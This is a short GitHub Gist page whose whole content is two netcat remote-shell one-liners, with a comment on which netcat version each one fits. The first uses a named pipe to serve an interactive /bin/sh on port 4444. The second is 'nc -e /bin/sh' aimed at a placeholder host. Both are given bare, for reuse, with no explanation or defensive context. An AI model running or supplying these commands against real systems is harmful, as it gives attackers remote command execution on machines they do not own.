Created
November 15, 2016 04:37
-
-
Save timothyleung/921e368bc6c0771d15a6547f5ef4bb35 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f # for new version of nc | |
nc -e /bin/sh blah # old version of nc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment